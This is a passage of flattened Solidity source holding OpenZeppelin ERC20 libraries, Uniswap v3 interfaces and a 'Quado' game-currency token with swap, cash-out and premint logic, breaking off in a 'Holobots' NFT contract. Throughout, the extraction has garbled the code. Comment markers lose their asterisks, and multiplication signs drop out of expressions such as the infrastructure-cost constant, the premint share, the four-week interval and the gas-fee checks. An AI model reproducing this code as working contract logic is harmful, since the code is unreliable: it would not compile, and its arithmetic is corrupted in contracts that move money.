!= 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. / function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /* * @dev Optional functions from the ERC20 standard. / contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } } // File: openzeppelin-solidity/contracts/access/Roles.sol pragma solidity ^0.5.0; /* * @title Roles * @dev Library for managing addresses assigned to a Role. / library Roles { struct Role { mapping (address => bool) bearer; } /* * @dev Give an account access to this role. / function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /* * @dev Remove an account's access to this role. / function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /* * @dev Check if an account has this role. * @return bool / function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol pragma solidity ^0.5.0; contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol pragma solidity ^0.5.0; /* * @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. / contract ERC20Mintable is ERC20, MinterRole { /* * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. / function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Capped.sol pragma solidity ^0.5.0; /* * @dev Extension of {ERC20Mintable} that adds a cap to the supply of tokens. / contract ERC20Capped is ERC20Mintable { uint256 private _cap; /* * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. / constructor (uint256 cap) public { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } /* * @dev Returns the cap on the token's total supply. / function cap() public view returns (uint256) { return _cap; } /* * @dev See {ERC20Mintable-mint}. * * Requirements: * * - `value` must not cause the total supply to go over the cap. / function _mint(address account, uint256 value) internal { require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded"); super._mint(account, value); } } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolImmutables.sol // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // File: @uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // File: contracts/IWETH9.sol pragma solidity ^0.5.17; // https://ethereum.stackexchange.com/questions/56466/wrapping-eth-calling-the-weth-contract contract WETH9_ { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; function() external payable ; function deposit() external payable ; function withdraw(uint wad) external ; function totalSupply() external view returns (uint) ; function approve(address guy, uint wad) external returns (bool) ; function transfer(address dst, uint wad) external returns (bool) ; function transferFrom(address src, address dst, uint wad) external returns (bool); } // File: contracts/Quado.sol pragma solidity >=0.5.0; /* @title Quado: The Holobots Coin @dev ERC20 Token to be used as in-world money for the Holobots.world. * Supports UniSwap to ETH and off-chain deposit/cashout. * Pre-mints locked funds for liquidity pool bootstrap, developer incentives and infrastructure coverage. * Approves payout to developers for each 10% of all minted bots, monthly infrastructre costs. * Bootstrap approved to transfer on creation. / contract Quado is ERC20, ERC20Detailed, ERC20Mintable, ERC20Capped, Ownable, IUniswapV3SwapCallback { //address god; uint256 public gasToCashOut = 23731; uint256 public gasToCashOutToEth = 43731; uint256 public currentInfrastructureCosts = 200000 1018; uint256 public percentBootstrap; uint256 public percentDevteam; uint256 public percentInfrastructureFund; uint public lastInfrastructureGrand; IUniswapV3PoolActions quadoEthUniswapPool; address payable public quadoEthUniswapPoolAddress; bool quadoEthUniswapPoolToken0IsQuado; address public devTeamPayoutAdress; address public infrastructurePayoutAdress; uint256 public usedForInfrstructure; WETH9_ internal WETH; / * @dev Emited when funds for the owner gets approved to be taken from the contract / event OwnerFundsApproval ( uint16 eventType, uint256 indexed amount ); / * @dev Emited to swap quado cash/quado coin/eth / event SwapEvent ( uint16 eventType, address indexed owner, uint256 indexed ethValue, uint256 indexed coinAmount ); struct SwapData { uint8 eventType; address payable account; } / * @dev * @param _maxSupply Max supply of coins * @param _percentBootstrap How many percent of the currency are reserved for the bootstrap * @param _percentDevteam How many percent of the currency are reserved for dev incentives * @param _percentInfrastructureFund How many percent of the currency is reserved to fund infrastcture during game pre-launch */ constructor( uint256 _maxSupply, uint256 _percentBootstrap, uint256 _percentDevteam, uint256 _percentInfrastructureFund, address _bootstrapPayoutAdress, address payable _WETHAddr ) public ERC20Detailed("Quado Holobots Coin", "OOOO", 18) ERC20Capped(_maxSupply) { require(_WETHAddr != address(0), "WETH is the zero address"); require(_bootstrapPayoutAdress != address(0), "bootstrap_payout is the zero address"); WETH = WETH9_(_WETHAddr); // Bootstrap is a stash of coins to provide initial liquidity to the uniswap pool and launch campiagn percentBootstrap = _percentBootstrap; // Developer team coverage percentDevteam = _percentDevteam; // Funds to cover the expenses for run the infrastructre until launch percentInfrastructureFund = _percentInfrastructureFund; usedForInfrstructure = 0; lastInfrastructureGrand = now; // Mint the pre-mine mintOwnerFundsTo((_maxSupply/100)percentBootstrap, _bootstrapPayoutAdress); emit OwnerFundsApproval(0, (_maxSupply/100)percentBootstrap); } /* * @dev ETH to Quado Cash / function toQuadoCash(uint160 sqrtPriceLimitX96) public payable { wrap(msg.value); WETH.approve(quadoEthUniswapPoolAddress, msg.value); // → coinswap ETH/OOOO // docs: https://docs.uniswap.org/reference/core/interfaces/pool/IUniswapV3PoolActions / swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes data) external returns (int256 amount0, int256 amount1) / quadoEthUniswapPool.swap(address(this), !quadoEthUniswapPoolToken0IsQuado, int256(msg.value), sqrtPriceLimitX96, swapDataToBytes(SwapData(2, msg.sender))); } /* * @dev ETH to Quado Coin / function toQuadoCoin(uint160 sqrtPriceLimitX96) public payable { wrap(msg.value); WETH.approve(quadoEthUniswapPoolAddress, msg.value); // → coinswap ETH/OOOO quadoEthUniswapPool.swap(address(this), !quadoEthUniswapPoolToken0IsQuado, int256(msg.value), sqrtPriceLimitX96, swapDataToBytes(SwapData(4, msg.sender))); } /* * @dev Quado Coin to ETH * @param _amount amount of quado to swap to eth / function toETH(uint256 _amount, uint160 sqrtPriceLimitX96) public { require(_amount <= balanceOf(msg.sender), 'low_balance'); _approve(msg.sender, quadoEthUniswapPoolAddress, _amount); // → coinswap OOOO/ETH quadoEthUniswapPool.swap(address(this), quadoEthUniswapPoolToken0IsQuado, int256(_amount), sqrtPriceLimitX96, swapDataToBytes(SwapData(3, msg.sender))); } function wrap(uint256 ETHAmount) private { //create WETH from ETH if (ETHAmount != 0) { WETH.deposit.value(ETHAmount)(); } require(WETH.balanceOf(address(this)) >= ETHAmount, "eth_not_deposited"); } function unwrap(uint256 Amount) private { if (Amount != 0) { WETH.withdraw(Amount); } } // default method when ether is paid to the contract's address // used for the WETH withdraw callback function() external payable { } function bytesToAddress(bytes memory bys) private pure returns (address payable addr) { assembly { addr := div( mload( add(bys, 32) ), 0x1000000000000000000000000) } } // https://ethereum.stackexchange.com/questions/11246/convert-struct-to-bytes-in-solidity function swapDataFromBytes(bytes memory data) private pure returns (SwapData memory d) { d.eventType = uint8(data[20]); bytes memory adr20 = new bytes(20); for (uint i=0;i<20;i++) { adr20[i]=data[i]; } d.account = bytesToAddress(adr20); } function swapDataToBytes(SwapData memory swapData) private pure returns (bytes memory data) { uint _size = 1 + 20; bytes memory _data = new bytes(_size); _data[20] = byte(swapData.eventType); uint counter=0; bytes20 adr = bytes20(address(swapData.account)); for (uint i=0;i<20;i++) { _data[counter]=adr[i]; counter++; } return (_data); } /* * @dev Uniswap swap callback, satisfy IUniswapV3SwapCallback * https://docs.uniswap.org/reference/core/interfaces/callback/IUniswapV3SwapCallback / function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external { require(msg.sender == quadoEthUniswapPoolAddress, 'uni_sender'); SwapData memory swapData = swapDataFromBytes(data); require(swapData.eventType > 0, 'swap_data_type'); require((amount0Delta > 0) \|\| (amount1Delta > 0), 'delta_pos'); int256 quadoAmount = quadoEthUniswapPoolToken0IsQuado ? amount0Delta : amount1Delta; int256 ethAmount = quadoEthUniswapPoolToken0IsQuado ? amount1Delta : amount0Delta; if(quadoAmount > 0) { // OOOO is needed by the pool, means quado to ETH require(uint256(quadoAmount) <= balanceOf(swapData.account), 'owner_oooo_bal'); transferFrom(swapData.account, msg.sender, uint256(quadoAmount)); // pay the owner the ETH he got // UNWRAP WETH // https://ethereum.stackexchange.com/questions/83929/while-testing-wrap-unwrap-of-eth-to-weth-on-kovan-however-the-wrap-function-i unwrap(uint256(-ethAmount)); swapData.account.transfer( uint256(-ethAmount)); //, 'eth_to_acc'); emit SwapEvent(3, swapData.account, uint256(ethAmount), uint256(quadoAmount)); } else if(ethAmount > 0) { // ETH is needed, means eth to quado cash (eventType 2) or coin (eventType 4) //require(uint256(amount0Delta) <= address(this).balance, 'contract_eth_bal'); require(WETH.balanceOf(address(this)) >= uint256(ethAmount), 'contract_weth_bal'); // Transfer WRAPPED ETH to contract WETH.transfer(quadoEthUniswapPoolAddress, uint256(ethAmount)); //quadoEthUniswapPoolAddress.transfer(uint256(amount0Delta));// ), 'eth_to_uni'); // pay the owner the OOOO he got if(swapData.eventType == 2) { // inform the cash system that it should mint coins to the owner emit SwapEvent(2, swapData.account, uint256(ethAmount), uint256(-quadoAmount)); } else { emit SwapEvent(4, swapData.account, uint256(ethAmount), uint256(-quadoAmount)); _approve(address(this), quadoEthUniswapPoolAddress, uint256(-quadoAmount)); transferFrom(address(this), swapData.account, uint256(-quadoAmount)); } } } /* * @dev Quado Cash to Coin: Emits event to cash out deposited Quado Cash to Quado in user's wallet * @param _amount amount of quado cash to cash out / function cashOut(uint256 _amount, bool _toEth) public payable { require(msg.value >= tx.gasprice (_toEth ? gasToCashOutToEth : gasToCashOut), "min_gas_to_cashout"); // pay owner the gas fee it needs to call settlecashout address payable payowner = address(uint160(owner())); require(payowner.send( msg.value ), "fees_to_owner"); //→ emit event emit SwapEvent(_toEth ? 7 : 1, msg.sender, msg.value, _amount); } /** * @dev Cashes out deposited Quado Cash to Quado in user's wallet * @param _to address of the future owner of the token * @param _amount how much Quado to cash out * @param _notMinted not minted cash to reflect on blockchain / function settleCashOut(address payable _to, uint256 _amount, bool _toEth, uint160 sqrtPriceLimitX96, uint256 _notMinted) public onlyOwner { mintFromCash(_notMinted); // must be done in any case, so it can be taken from him for uniswap or left if not swapped transferFrom(address(this), _to, _amount); if(_toEth) { // owner wanted ETH in return to Cash //require(_amount <= balanceOf(_to), 'low_balance'); _approve(_to, quadoEthUniswapPoolAddress, _amount); quadoEthUniswapPool.swap( address(this), quadoEthUniswapPoolToken0IsQuado, int256(_amount), sqrtPriceLimitX96, swapDataToBytes(SwapData(3, _to)) ); } } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); // if it's a cash deposit transfer if(recipient == address(this)) { _approve(address(this), owner(), amount); // signal the cash system the deposit emit SwapEvent(5, msg.sender, 0, amount); } return true; } /* * @dev Mints token to one of the payout adddresses for bootstrap, infrastructure and dev team * @dev Approves the contract owner to transfer that minted tokens * @param _amount mints this amount of Quado to the contract itself * @param _to address on where to mint / function mintOwnerFundsTo(uint256 _amount, address _to) internal onlyMinter { require(_amount > 0, "zero amount to mint"); require(_to != address(0), "mint to is zero address"); //_approve(address(this), msg.sender, _amount); //_transfer(address(this), _to, _amount); mint(_to, _amount); _approve(_to, owner(), _amount); } /* * @dev Reflects the current quado cash state to quado coin by minting to the contract itself * @dev Approves the contract owner to transfer that minted cash later * @dev Additionally approves pre-minted funds for hardware payment and dev incentives * @param _amount mints this amount of Quado to the contract itself / function mintFromCash(uint256 _amount) public onlyMinter { uint256 totalApprove = _amount; if(_amount > 0) { mint(address(this), _amount); // approve for later cashout _approve(address(this), owner(), totalApprove); // check if a 10% milestone is broken, and if so grant the dev team 10% of their fund if( (totalSupply() 10 / cap()) < ((totalSupply() + _amount) * 10 / cap()) ) { uint256 devFunds = cap()/100percentDevteam/10; mintOwnerFundsTo(devFunds, devTeamPayoutAdress); emit OwnerFundsApproval(2, devFunds); } } // check for next infrastructure cost settlement if ((now >= lastInfrastructureGrand + 4 1 weeks) && ((usedForInfrstructure + currentInfrastructureCosts) <= (cap()/100 * percentInfrastructureFund)) ) { usedForInfrstructure += currentInfrastructureCosts; lastInfrastructureGrand = now; mintOwnerFundsTo(currentInfrastructureCosts, infrastructurePayoutAdress); emit OwnerFundsApproval(1, currentInfrastructureCosts); } } function setGasToCashOutEstimate(uint256 _cashOut, uint256 _cashOutToEth) public onlyOwner { gasToCashOut = _cashOut; gasToCashOutToEth = _cashOutToEth; } function setCurrentInfrastructureCosts(uint256 _costs) public onlyOwner { currentInfrastructureCosts = _costs; } function setUniswapPool(address payable _poolAddress) public onlyOwner { IUniswapV3PoolImmutables poolImmu = IUniswapV3PoolImmutables(_poolAddress); require((poolImmu.token0() == address(this)) \|\| (poolImmu.token1() == address(this))); quadoEthUniswapPoolToken0IsQuado = (poolImmu.token0() == address(this)); quadoEthUniswapPoolAddress = _poolAddress; quadoEthUniswapPool = IUniswapV3PoolActions(quadoEthUniswapPoolAddress); } function setPayoutAddresses(address _devTeamPayoutAdress, address _infrastructurePayoutAdress) public onlyOwner { devTeamPayoutAdress = _devTeamPayoutAdress; infrastructurePayoutAdress = _infrastructurePayoutAdress; } /** * @dev Withdraw ether from this contract (Callable by owner) / function withdrawETH(uint256 amount) public onlyOwner { require(amount <= address(this).balance, 'balance_low'); require(msg.sender.send(amount), 'no_send'); } /function setGod(address _god) public onlyOwner { god = _god; }/ } // File: contracts/Holobots.sol pragma solidity ^0.5.1; /* * @title Holobots.world * Holobots - a contract for bot ownership inside the holobots.world as non-fungible ERC721 token. * - ERC721 compliant contract to support off-chain processing of tokens * - Minting only triggers the off-chain system to mint to keep the off-chain records consistent. * - Each call from off-chain with additional data to reflect off-chain cash of the Quado currency on the blockchain. * - Supports deposit and pickup of tokens on the contract to be handled gasless off-chain. / contract Holobots is ERC721Full, Ownable { using Strings for string; // a Quado contract and must be owned by this contract address fundTokenAddress; string myContractURI; string baseURI; // the currency used to pay Quado quado; // public constants uint32 constant public maxSupply = 250000; // public variables uint256 public gasToPickup = 33233; uint256 public gasToMint = 32000; event NFTEvent ( uint16 eventType, uint256 tokenId, address indexed owner, uint256 indexed ethValue ); constructor( string memory _baseURIForNFT, string memory _contractURI, address payable _fundTokenAddress ) public ERC721Full("Holobots", "SUDO") { quado = Quado(_fundTokenAddress); setBaseURI(_baseURIForNFT); setContractURI(_contractURI); } /* * @dev Emits event to mint a token to the senders adress * @param _tokenId address of the future owner of the token / function mintNFT(uint256 _tokenId) public payable { require(!_exists(_tokenId), "token_exists"); require(tx.gasprice gasToMint <= msg.value, "min_price"); // pay owner the gas fee it needs to call mintTo address payable payowner = address(uint160(owner())); require(payowner.send( msg.value ), "fees_to_owner"); //→ emit event for off-chain listener emit NFTEvent(1, _tokenId, msg.sender, msg.value); } /** * @dev Mints a token to an address and mints unminted 